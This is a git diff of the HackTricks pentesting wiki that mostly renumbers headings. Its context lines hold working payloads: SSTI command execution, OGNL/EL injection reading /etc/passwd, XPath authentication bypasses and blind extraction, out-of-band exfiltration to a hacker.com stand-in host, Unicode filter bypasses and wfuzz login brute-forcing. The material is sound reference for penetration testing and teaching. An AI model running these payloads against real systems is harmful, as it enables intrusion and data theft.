-#### Smarty (PHP) +## Smarty (PHP) ```php {$smarty.version} @@ -396,7 +395,7 @@ Check the following page to learn more about the **exploitation of EL interprete * In Smarty section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) -#### Twig (PHP) +## Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` @@ -442,7 +441,7 @@ $output = $twig > render ( * In Twig and Twig (Sandboxed) section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) -#### Jade (NodeJS) +## Jade (NodeJS) ```javascript - var x = root.process @@ -460,7 +459,7 @@ $output = $twig > render ( * In Jade section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) -#### Handlebars (NodeJS) +## Handlebars (NodeJS) Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). @@ -501,7 +500,7 @@ URLencoded: * [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) -#### JsRender (NodeJS) +## JsRender (NodeJS) | **Template** | **Description** | | ------------ | --------------------------------------- | @@ -528,7 +527,7 @@ URLencoded: * [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) -#### PugJs (NodeJS) +## PugJs (NodeJS) * `#{7*7} = 49` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` @@ -545,7 +544,7 @@ home = pugjs.render(injected_page) * [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) -#### NUNJUCKS (NodeJS) +## NUNJUCKS (NodeJS) * \{{7\*7\}} = 49 * \{{foo\}} = No output @@ -561,7 +560,7 @@ home = pugjs.render(injected_page) * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) -#### ERB (Ruby) +## ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` @@ -584,7 +583,7 @@ home = pugjs.render(injected_page) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) -#### Slim (Ruby) +## Slim (Ruby) * `{ 7 * 7 }` @@ -596,7 +595,7 @@ home = pugjs.render(injected_page) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) -#### Python +## Python Check out the following page to learn tricks about **arbitrary command execution bypassing sandboxes** in python: @@ -604,7 +603,7 @@ Check out the following page to learn tricks about **arbitrary command execution [bypass-python-sandboxes](../../misc/basic-python/bypass-python-sandboxes/) {% endcontent-ref %} -#### Tornado (Python) +## Tornado (Python) * `{{7*7}} = 49` * `${7*7} = ${7*7}` @@ -624,7 +623,7 @@ Check out the following page to learn tricks about **arbitrary command execution **More information** -#### Jinja2 (Python) +## Jinja2 (Python) [Official website](http://jinja.pocoo.org) @@ -839,7 +838,7 @@ Bypassing most common filters ('.','\_','|join','\[',']','mro' and 'base') by [h * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) * Check [attr trick to bypass blacklisted chars in here](../../misc/basic-python/bypass-python-sandboxes/#python3). -#### Mako (Python) +## Mako (Python) ```python <% @@ -849,7 +848,7 @@ x=os.popen('id').read() ${x} ``` -#### Razor (.Net) +## Razor (.Net) * `@(2+2) <= Success` * `@() <= Success` @@ -869,7 +868,7 @@ ${x} * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) -#### ASP +## ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo @@ -884,7 +883,7 @@ ${x} * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) -#### Mojolicious (Perl) +## Mojolicious (Perl) Even if it's perl it uses tags like ERB in Ruby. @@ -896,7 +895,7 @@ Even if it's perl it uses tags like ERB in Ruby. <% perl code %> ``` -#### SSTI in GO +## SSTI in GO The way to confirm that the template engine used in the backed is Go you can use these payloads: @@ -931,30 +930,30 @@ func (p Person) Secret (test string) string { * [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) -#### More Exploits +## More Exploits Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) -### BlackHat PDF +# BlackHat PDF {% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %} -### Related Help +# Related Help If you think it could be useful, read: * [Flask tricks](../../pentesting/pentesting-web/flask.md) * [Python magic functions](../../misc/basic-python/magic-methods.md) -### Tools +# Tools {% embed url="https://github.com/epinna/tplmap" %} -### Brute-Force Detection List +# Brute-Force Detection List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} -### Practice & References +# Practice & References * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) diff --git a/pentesting-web/ssti-server-side-template-injection/el-expression-language.md b/pentesting-web/ssti-server-side-template-injection/el-expression-language.md index 357dc10c..ef7c9512 100644 --- a/pentesting-web/ssti-server-side-template-injection/el-expression-language.md +++ b/pentesting-web/ssti-server-side-template-injection/el-expression-language.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# EL - Expression Language - -## Basic Information +# Basic Information EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans). -### Where is it used ? +## Where is it used ? 1. Spring Framework: Security, Data, … 2. **Any place developers use it by SpEL API** @@ -37,7 +35,7 @@ Java applications are **easily recognizable** as they tend to use extensions as Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**. {% endhint %} -## Basic Example +# Basic Example (You can find another interesting tutorial about EL in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)) @@ -88,7 +86,7 @@ Enter a String to evaluate: Note how in the previous example the term `{5*5}` was **evaluated**. -## **CVE Example** +# **CVE Example** From you have already see I bet you know what is coming. If developers are using SpEL with user input, we need to create payload with injection. Let’s check one that allow remote code execution (RCE). It was created as part of exploit for [CVE-2017–8046](https://github.com/m3ssap0/SpringBreakVulnerableApp). @@ -104,9 +102,9 @@ Result of executing it: ![Image for post](https://miro.medium.com/max/982/1\*APSYwU3qbw0rNJAd2xhdNA.png) -## Payloads +# Payloads -### Basic actions +## Basic actions ```bash #Basic string operations examples @@ -132,7 +130,7 @@ Result of executing it: [public boolean java.util.Date.equals(java.lang.Object)] ``` -### Detection +## Detection * Burp detection @@ -155,19 +153,19 @@ https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.Og https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} ``` -### Remote File Inclusion +## Remote File Inclusion ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd ``` -### Directory Listing +## Directory Listing ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=.. ``` -### RCE +## RCE * Basic RCE **explanation** @@ -234,7 +232,7 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec ''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe') ``` -### Inspecting the environment +## Inspecting the environment * `applicationScope` - global application variables * `requestScope` - request variables @@ -248,7 +246,7 @@ You will need to cast this variables to String like: ${sessionScope.toString()} ``` -#### Authorization bypass example +### Authorization bypass example ```bash ${pageContext.request.getSession().setAttribute("admin", true)} @@ -262,7 +260,7 @@ ${password} ${employee.FirstName} ``` -## References +# References * [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/) * [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) diff --git a/pentesting-web/unicode-normalization-vulnerability.md b/pentesting-web/unicode-normalization-vulnerability.md index 53629b49..197236fe 100644 --- a/pentesting-web/unicode-normalization-vulnerability.md +++ b/pentesting-web/unicode-normalization-vulnerability.md @@ -16,16 +16,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Unicode Normalization vulnerability -### Background +# Background Normalization ensures two strings that may use a different binary representation for their characters have the same binary value after normalization. There are two overall types of equivalence between characters, “**Canonical Equivalence**” and “**Compatibility Equivalence**”:\ **Canonical Equivalent** characters are assumed to have the same appearance and meaning when printed or displayed. **Compatibility Equivalence** is a weaker equivalence, in that two values may represent the same abstract character but can be displayed differently. There are **4 Normalization algorithms** defined by the **Unicode** standard; **NFC, NFD, NFKD and NFKD**, each applies Canonical and Compatibility normalization techniques in a different way. You can read more on the different techniques at Unicode.org. -#### Unicode Encoding +## Unicode Encoding Although Unicode was in part designed to solve interoperability issues, the evolution of the standard, the need to support legacy systems and different encoding methods can still pose a challenge.\ Before we delve into Unicode attacks, the following are the main points to understand about Unicode: @@ -42,15 +41,15 @@ An example of how Unicode normalise two different bytes representing the same ch **A list of Unicode equivalent characters can be found here:** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) -#### Discovering +## Discovering If you can find inside a webapp a value that is being echoed back, you could try to send **‘KELVIN SIGN’ (U+0212A)** which **normalises to "K"** (you can send it as `%e2%84%aa`). **If a "K" is echoed back**, then, some kind of **Unicode normalisation** is being performed. Other **example**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` after **unicode** is `Leonishan`. -### **Vulnerable Examples** +# **Vulnerable Examples** -#### **SQL Injection filter bypass** +## **SQL Injection filter bypass** Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes** all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation** of the query, it **normalises** using **Unicode** the input of the user. @@ -86,7 +85,7 @@ Then, a malicious user could insert a different Unicode character equivalent to %ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f ``` -#### XSS (Cross Site Scripting) +## XSS (Cross Site Scripting) You could use one of the following characters to trick the webapp and exploit a XSS: @@ -96,7 +95,7 @@ Notice that for example the first Unicode character purposed can be sent as: `%e ![](<../.gitbook/assets/image (215) (1).png>) -### References +# References **All the information of this page was taken from:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#) diff --git a/pentesting-web/web-tool-wfuzz.md b/pentesting-web/web-tool-wfuzz.md index a4bdf729..5a9f9e14 100644 --- a/pentesting-web/web-tool-wfuzz.md +++ b/pentesting-web/web-tool-wfuzz.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Web Tool - WFuzz - A tool to FUZZ web applications anywhere. > Wfuzz has been created to facilitate the task in web applications assessments and it is based on a simple concept: it replaces any reference to the FUZZ keyword by the value of a given payload. -## Installation +# Installation Installed in Kali @@ -33,7 +31,7 @@ Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz) pip install wfuzz ``` -## Filtering options +# Filtering options ```bash --hs/ss "regex" #Hide/Show @@ -46,14 +44,14 @@ pip install wfuzz --hc/sc NUM #ide/Show by number of chars in response ``` -## Output options +# Output options ```bash wfuzz -e printers #Prints the available output formats -f /tmp/output,csv #Saves the output in that location in csv format ``` -### Encoders options +## Encoders options ```bash wfuzz -e encoders #Prints the available encoders @@ -70,31 +68,31 @@ Examples: -z list,each-element-here,hexlify #Inline list and to hex before sending values ``` -## CheetSheet +# CheetSheet -### Login Form bruteforce +## Login Form bruteforce -#### **POST, Single list, filter string \(hide\)** +### **POST, Single list, filter string \(hide\)** ```bash wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php #Here we have filtered by line ``` -#### **POST, 2 lists, filder code \(show\)** +### **POST, 2 lists, filder code \(show\)** ```bash wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php #Here we have filtered by code ``` -#### **GET, 2 lists, filter string \(show\), proxy, cookies** +### **GET, 2 lists, filter string \(show\), proxy, cookies** ```bash wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in" ``` -### Bruteforce Dicrectory/RESTful bruteforce +## Bruteforce Dicrectory/RESTful bruteforce [Arjun parameters wordlist](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt) @@ -102,41 +100,41 @@ wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHP wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ ``` -### Path Parameters BF +## Path Parameters BF ```bash wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ' ``` -### Header Authentication +## Header Authentication -#### **Basic, 2 lists, filter string \(show\), proxy** +### **Basic, 2 lists, filter string \(show\), proxy** ```bash wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php" ``` -#### **NTLM, 2 lists, filter string \(show\), proxy** +### **NTLM, 2 lists, filter string \(show\), proxy** ```bash wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php" ``` -### Cookie/Header bruteforce \(vhost brute\) +## Cookie/Header bruteforce \(vhost brute\) -#### **Cookie, filter code \(show\), proxy** +### **Cookie, filter code \(show\), proxy** ```bash wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php" ``` -#### **User-Agent, filter code \(hide\), proxy** +### **User-Agent, filter code \(hide\), proxy** ```bash wfuzz -c -w user-agents.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "User-Agent: FUZZ" "http://example.com/index.php" ``` -#### **Host** +### **Host** ```bash wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains- @@ -144,28 +142,28 @@ top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u http://example.com -t 100 ``` -### HTTP Verbs \(methods\) bruteforce +## HTTP Verbs \(methods\) bruteforce -#### **Using file** +### **Using file** ```bash wfuzz -c -w methods.txt -p 127.0.0.1:8080:HTTP --sc 200 -X FUZZ "http://example.com/index.php" ``` -#### **Using inline list** +### **Using inline list** ```bash $ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/ ``` -### Directory & Files Bruteforce +## Directory & Files Bruteforce ```bash #Filter by whitelisting codes wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ ``` -## Tool to bypass Webs +# Tool to bypass Webs [https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass) diff --git a/pentesting-web/web-vulnerabilities-methodology.md b/pentesting-web/web-vulnerabilities-methodology.md index d5a6e2b1..128b0409 100644 --- a/pentesting-web/web-vulnerabilities-methodology.md +++ b/pentesting-web/web-vulnerabilities-methodology.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Web Vulnerabilities Methodology - In every pentest web there is **several hidden and obvious places that might be vulnerable**. This post is meant to be a checklist to confirma that you have searched vulnerabilities in all the posible places. -## Proxies +# Proxies {% hint style="info" %} Nowadays **web** **applications** usually **uses** some kind of **intermediary** **proxies**, those may be (ab)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend. @@ -35,14 +33,14 @@ Nowadays **web** **applications** usually **uses** some kind of **intermediary** * [ ] [**Uncovering Cloudflare**](../pentesting/pentesting-web/uncovering-cloudflare.md) * [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md) -## **User input** +# **User input** {% hint style="info" %} Most of the web applications will **allow users to input some data that will be processed later.**\ Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply. {% endhint %} -### **Reflected Values** +## **Reflected Values** If the introduced data may somehow being reflected in the response, the page might be vulnerable to several issues. @@ -68,7 +66,7 @@ Some of the mentioned vulnerabilities requires special conditions, others just r [pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/) {% endcontent-ref %} -### **Search functionalities** +## **Search functionalities** If the functionality may be used to search some kind of data inside the backend, maybe you can (ab)use it to search arbitrary data. @@ -79,7 +77,7 @@ If the functionality may be used to search some kind of data inside the backend, * [ ] [**SQL Injection**](sql-injection/) * [ ] [**XAPTH Injection**](xpath-injection.md) -### **Forms, WebSockets and PostMsgs** +## **Forms, WebSockets and PostMsgs** When websocket, post message or a form allows user to perform actions vulnerabilities may arise. @@ -87,7 +85,7 @@ When websocket, post message or a form allows user to perform actions vulnerabil * [ ] [**Cross-site WebSocket hijacking (CSWSH)**](cross-site-websocket-hijacking-cswsh.md) * [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities.md) -### **HTTP Headers** +## **HTTP Headers** Depending on the HTTP headers given by the web server some vulnerabilities might be present. @@ -96,7 +94,7 @@ Depending on the HTTP headers given by the web server some vulnerabilities might * [ ] [**Cookies Hacking**](hacking-with-cookies/) * [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md) -### **Bypasses** +## **Bypasses** There are several specific functionalities were some workarounds might be useful to bypass them @@ -109,7 +107,7 @@ There are several specific functionalities were some workarounds might be useful * [ ] [**Reset Forgotten Password Bypass**](reset-password.md) * [ ] [**Registration Vulnerabilities**](registration-vulnerabilities.md) -### **Structured objects / Specific functionalities** +## **Structured objects / Specific functionalities** Some functionalities will require the **data to be structured on a very specific format** (like a language serialized object or a XML). Therefore, it's more easy to identify is the application might be vulnerable as it needs to be processing that kind of data.\ Some **specific functionalities** my be also vulnerable if a **specific format of the input is used** (like Email Header Injections). @@ -119,7 +117,7 @@ Some **specific functionalities** my be also vulnerable if a **specific format o * [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md) * [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md) -### Files +## Files Functionalities that allow to upload files might be vulnerable to several issues.\ Functionalities that generates files including user input might execute unexpected code.\ @@ -130,12 +128,12 @@ Users that open files uploaded by users or automatically generated including use * [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md) * [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) -### **External Identity Management** +## **External Identity Management** * [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md) * [ ] [**SAML Attacks**](saml-attacks/) -### **Other Helpful Vulnerabilities** +## **Other Helpful Vulnerabilities** This vulnerabilities might help to exploit other vulnerabilities. diff --git a/pentesting-web/xpath-injection.md b/pentesting-web/xpath-injection.md index c5b2985f..72da5e92 100644 --- a/pentesting-web/xpath-injection.md +++ b/pentesting-web/xpath-injection.md @@ -17,15 +17,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# XPATH injection - XPath Injection is an attack technique used to exploit applications that construct XPath \(XML Path Language\) queries from user-supplied input to query or navigate XML documents. Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath_syntax.asp) -## **Basic Syntax** +# **Basic Syntax** -### Nodes +## Nodes | Expression | Description | | :--- | :--- | @@ -36,7 +34,7 @@ Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp | .. | Selects the parent of the current node | | @ | Selects attributes | -### **Examples:** +## **Examples:** | Path Expression | Result | | :--- | :--- | @@ -47,7 +45,7 @@ Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp | bookstore//book | Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element | | //@lang | Selects all attributes that are named lang | -### Predicates +## Predicates
@@ -102,7 +100,7 @@ Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp
-### Unknown Nodes +## Unknown Nodes | Wildcard | Description | | :--- | :--- | @@ -110,7 +108,7 @@ Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp | @\* | Matches any attribute node | | node\(\) | Matches any node of any kind | -### **Examples:** +## **Examples:** | Path Expression | Result | | :--- | :--- | @@ -118,7 +116,7 @@ Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp | //\* | Selects all elements in the document | | //title\[@\*\] | Selects all title elements which have at least one attribute of any kind | -## Example +# Example ```markup @@ -141,7 +139,7 @@ Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp ``` -### Access the information +## Access the information ```text All names - [pepe, mark, fino] @@ -170,7 +168,7 @@ string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a" ``` -### Identify & stealing the schema +## Identify & stealing the schema ```python and count(/*) = 1 #root @@ -207,16 +205,16 @@ doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) ``` -## Authentication Bypass +# Authentication Bypass -### **Example of queries:** +## **Example of queries:** ```text string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text()) $q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]'; ``` -### **OR bypass in user and password \(same value in both\)** +## **OR bypass in user and password \(same value in both\)** ```text ' or '1'='1 @@ -229,13 +227,13 @@ Select account Select the account using the username and use one of the previous values in the password field ``` -### **Abusing null injection** +## **Abusing null injection** ```text Username: ' or 1]%00 ``` -### **Double OR in Username or in password** \(is valid with only 1 vulnerable field\) +## **Double OR in Username or in password** \(is valid with only 1 vulnerable field\) IMPORTANT: Notice that the **"and" is the first operation made**. @@ -261,7 +259,7 @@ admin' or '1'='2 string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text()) ``` -## String extraction +# String extraction The output contains strings and the user can manipulate the values to search: @@ -284,9 +282,9 @@ The output contains strings and the user can manipulate the values to search: ')] | //user/*[4] | a[(' #The account of all users ``` -## Blind Explotation +# Blind Explotation -### **Get length of a value and extract it by comparisons:** +## **Get length of a value and extract it by comparisons:** ```bash ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4 @@ -297,7 +295,7 @@ substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) ... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value ``` -### **Python Example** +## **Python Example** ```python import requests, string @@ -320,13 +318,13 @@ for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) break ``` -### Read file +## Read file ```python (substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127 ``` -## OOB Exploitation +# OOB Exploitation ```python doc(concat("http://hacker.com/oob/", RESULTS)) @@ -339,11 +337,11 @@ doc-available(concat("http://hacker.com/oob/", RESULTS)) #user not(doc-available(...)) to invert the result if you need to ``` -### Automatic tool +## Automatic tool {% embed url="https://xcat.readthedocs.io/" caption="" %} -## References +# References [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection) diff --git a/pentesting-web/xs-search.md b/pentesting-web/xs-search.md index 0f682378..9b2ad77e 100644 --- a/pentesting-web/xs-search.md +++ b/pentesting-web/xs-search.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# XS-Search - **The best resource to learn XS-Search is** [**https://xsleaks.dev/**](https://xsleaks.dev) -## XS-Search Time attack +# XS-Search Time attack Basically, you exploit a **CSRF vulnerability** to make a specific user access some **information** that the **victim can access** but you can't. Then, you **check** the **time** it take the request to be responded and depending on that you can know if the content was correctly accessed or not. @@ -36,7 +34,7 @@ For more information you can read: * [https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549](https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549) * [https://www.researchgate.net/publication/280738245\_Cross-Site\_Search\_Attacks](https://www.researchgate.net/publication/280738245\_Cross-Site\_Search\_Attacks) -## XS-Search - Iframe +# XS-Search - Iframe Suppose that you can **insert** the **page** that has the **secret** content **inside an Iframe**. @@ -53,7 +51,7 @@ Then, you can **distinguish between** a **correctly** loaded page or page that h If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without meassuring the time. -### Iframe Chrome XSS Auditor +## Iframe Chrome XSS Auditor Imagine the **same situation as in the Timing attack method** and you also know that the **admin** is using a **Chrome browser** (for example, Chrome-headless) **with Chrome XSS Auditor.** @@ -77,13 +75,13 @@ Then, you can use Chrome XSS Auditor to **launch an error** when a **valid respo For more information: [https://www.youtube.com/watch?v=HcrQy0C-hEA](https://www.youtube.com/watch?v=HcrQy0C-hEA) -### Abusing Chrome XSS Auditor to steal tokens +## Abusing Chrome XSS Auditor to steal tokens Using the previous technique (with Chrome XSS Auditor) you can **steal chunks of the code returned to a user** (like tokens for example). For more information: [https://portswigger.net/blog/abusing-chromes-xss-auditor-to-steal-tokens](https://portswigger.net/blog/abusing-chromes-xss-auditor-to-steal-tokens) Please, notice that you will steal information returned to a user and not any code from the web server. -## Custom Detection +# Custom Detection In the **fbcft2019** the **challenge**: **secret note keeper** was resolved exploiting a XS-Search. @@ -151,7 +149,7 @@ exploit(); -## More information +# More information {% embed url="https://github.com/xsleaks/xsleaks" %} diff --git a/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md b/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md index d8f06486..d4f73764 100644 --- 